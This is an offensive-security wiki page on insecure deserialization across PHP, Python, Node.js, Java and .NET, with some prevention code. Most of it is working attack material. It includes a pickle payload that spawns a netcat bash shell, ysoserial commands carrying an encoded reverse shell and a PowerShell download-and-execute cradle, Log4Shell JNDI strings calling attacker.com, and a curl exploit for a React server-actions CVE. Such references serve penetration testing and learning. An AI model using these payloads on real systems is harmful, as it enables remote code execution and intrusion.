> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# Deserialization Vulnerabilities

> Exploiting insecure deserialization in PHP, Python, Java, .NET, and Node.js, including gadget chain discovery, payload generation tools, and prevention strategies.

**Serialization** converts an object to a storable/transmittable format. **Deserialization** reconstructs it. Insecure deserialization allows attackers to manipulate serialized data to execute harmful code during object reconstruction.

## PHP Deserialization

PHP magic methods called during deserialization:

| Method            | When Called                                              |
| ----------------- | -------------------------------------------------------- |
| `__sleep()`       | When object is serialized                                |
| `__wakeup()`      | When object is deserialized                              |
| `__unserialize()` | Called instead of `__wakeup()` if implemented (PHP 7.4+) |
| `__destruct()`    | When object is destroyed/script ends                     |
| `__toString()`    | When object is used as string                            |

```php theme={null}
<?php
class test {
    public $s = "This is a test";
    public function __wakeup(){ echo "__wakeup method called"; }
    public function __destruct(){ echo "__destruct method called"; }
}

$ser = serialize(new test());
// Output: O:4:"test":1:{s:1:"s";s:14:"This is a test";}
$unser = unserialize($ser);
// Calls __wakeup() and eventually __destruct()
```

### PHP Object Injection Prevention

```php theme={null}
// UNSAFE - allows any class instantiation
$object = unserialize($userControlledData);

// SAFE - disable object instantiation
$object = unserialize($userControlledData, [
    'allowed_classes' => false
]);

// Granular - only allow specific classes
$object = unserialize($userControlledData, [
    'allowed_classes' => [MyModel::class, DateTime::class]
]);
```

<Warning>
  On PHP \< 7.0, the `allowed_classes` option does NOT exist, making `unserialize()` inherently dangerous.
</Warning>

### Tools

```bash theme={null}
# PHPGGC - PHP gadget chain generator (ysoserial for PHP)
phpggc -l  # List available payloads
phpggc Laravel/RCE1 system id
phpggc Symfony/RCE4 system id
```

## Python Deserialization

### Pickle

When unpickling, `__reduce__` is called:

```python theme={null}
import pickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system, ("netcat -c '/bin/bash -i' -l -p 1234",))

print(base64.b64encode(pickle.dumps(P())))
```

### YAML

```python theme={null}
# PyYAML unsafe_load RCE
import yaml
yaml.unsafe_load("!!python/object/apply:os.system ['id']")

# jsonpickle RCE
import jsonpickle
jsonpickle.decode('{"py/reduce": [{"py/type": "os.system"}, {"py/tuple": ["id"]}]}')
```

## Node.js Deserialization

### node-serialize

```javascript theme={null}
var serialize = require("node-serialize")
var test = {
  rce: "_$$ND_FUNC$$_function(){ require('child_process')
    .exec('ls /', function(error, stdout) { console.log(stdout) }); }()"
}
serialize.unserialize(test)  // Executes on deserialization
```

### Prototype Pollution

Abusing `__proto__` and `prototype` to inject properties into the base object prototype, potentially affecting all objects in the application.

## Java Deserialization

### Fingerprinting

```
Hex pattern:    AC ED 00 05  (ObjectInputStream)
Base64 pattern: rO0
Compressed hex: 1F 8B 08 00
Compressed b64: H4sIA
JSF ViewState:  javax.faces.ViewState=rO0AB...
```

### White Box Code Review

```bash theme={null}
# Search for vulnerable patterns
grep -R 'ObjectInputStream' .
grep -R 'readObject\|readUnshare\|XMLDecoder' .
find . -iname "*commons*collection*"
grep -R 'InvokeTransformer' .
```

### Exploitation with ysoserial

```bash theme={null}
# Test DNS interaction first (safer)
java -jar ysoserial.jar URLDNS http://b7j40108s43ysmdp.burpcollaborator.net > payload

# Windows RCE
java -jar ysoserial.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
java -jar ysoserial.jar CommonsCollections4 "cmd /c timeout 5" > payload

# Linux RCE
java -jar ysoserial.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
java -jar ysoserial.jar CommonsCollections4 "touch /tmp/pwn" > payload

# Reverse shell (Linux, base64 encoded)
java -jar ysoserial.jar CommonsCollections4 \
  "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
  | base64 -w0
```

### React Server Components (CVE-2025-55182)

```bash theme={null}
# Exploit react-server-dom-webpack decodeAction endpoint
curl -sk -X POST http://target/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"app/server-actions#generateReport","bound":["acme","pdf & whoami"]}'
```

The `bound` array directly populates server action parameters. If the action wraps `exec()`, this yields RCE.

## .NET Deserialization

### Fingerprinting

Look for `TypeNameHandling`, `JavaScriptTypeResolver` in code. In traffic, look for Base64 strings starting with `AAEAAAD/////` or JSON with `$type` or `TypeObject`.

### ysoserial.net

```bash theme={null}
# Send DNS request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup burpcollaborator.net" -o base64

# Reverse shell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" \
  | iconv -t UTF-16LE | base64 -w0
ysoserial.exe -g ObjectDataProvider -f Json.Net \
  -c "powershell -EncodedCommand <base64>" -o base64
```

## JNDI Injection & Log4Shell

Log4j JNDI injection (CVE-2021-44228) allows RCE via specially crafted log messages:

```
# Trigger in any logged field (User-Agent, username, etc.)
${jndi:ldap://attacker.com/a}
${jndi:rmi://attacker.com/a}
${${lower:j}ndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com/a}
```

## Java Message Service (JMS) Attacks

JMET can attack JMS services by sending malicious serialized objects:

```bash theme={null}
java -jar JMET-0.1.0-all.jar -Q event -I ActiveMQ -s 10.10.10.10 -p 61616 ysoserial CommonsCollections6 "touch /tmp/jmet"
```

## Prevention

```java theme={null}
// Override resolveClass to whitelist allowed types
public class LookAheadObjectInputStream extends ObjectInputStream {
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(Bicycle.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

// Java 9+ serialization filters
ObjectInputFilter filter = info -> {
    if (info.depth() > MAX_DEPTH) return Status.REJECTED;
    if (!allowedClasses.contains(info.serialClass().getName())) return Status.REJECTED;
    return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```

## Tools Summary

<CardGroup cols={2}>
  <Card title="ysoserial" icon="java">
    Java gadget chain payload generator.
  </Card>

  <Card title="PHPGGC" icon="php">
    PHP gadget chain generator (ysoserial equivalent).
  </Card>

  <Card title="ysoserial.net" icon="windows">
    .NET deserialization exploit generator.
  </Card>

  <Card title="Burp Freddy" icon="bug">
    Burp extension for detecting deserialization in ObjectInputStream, JSON, and YAML.
  </Card>
</CardGroup>
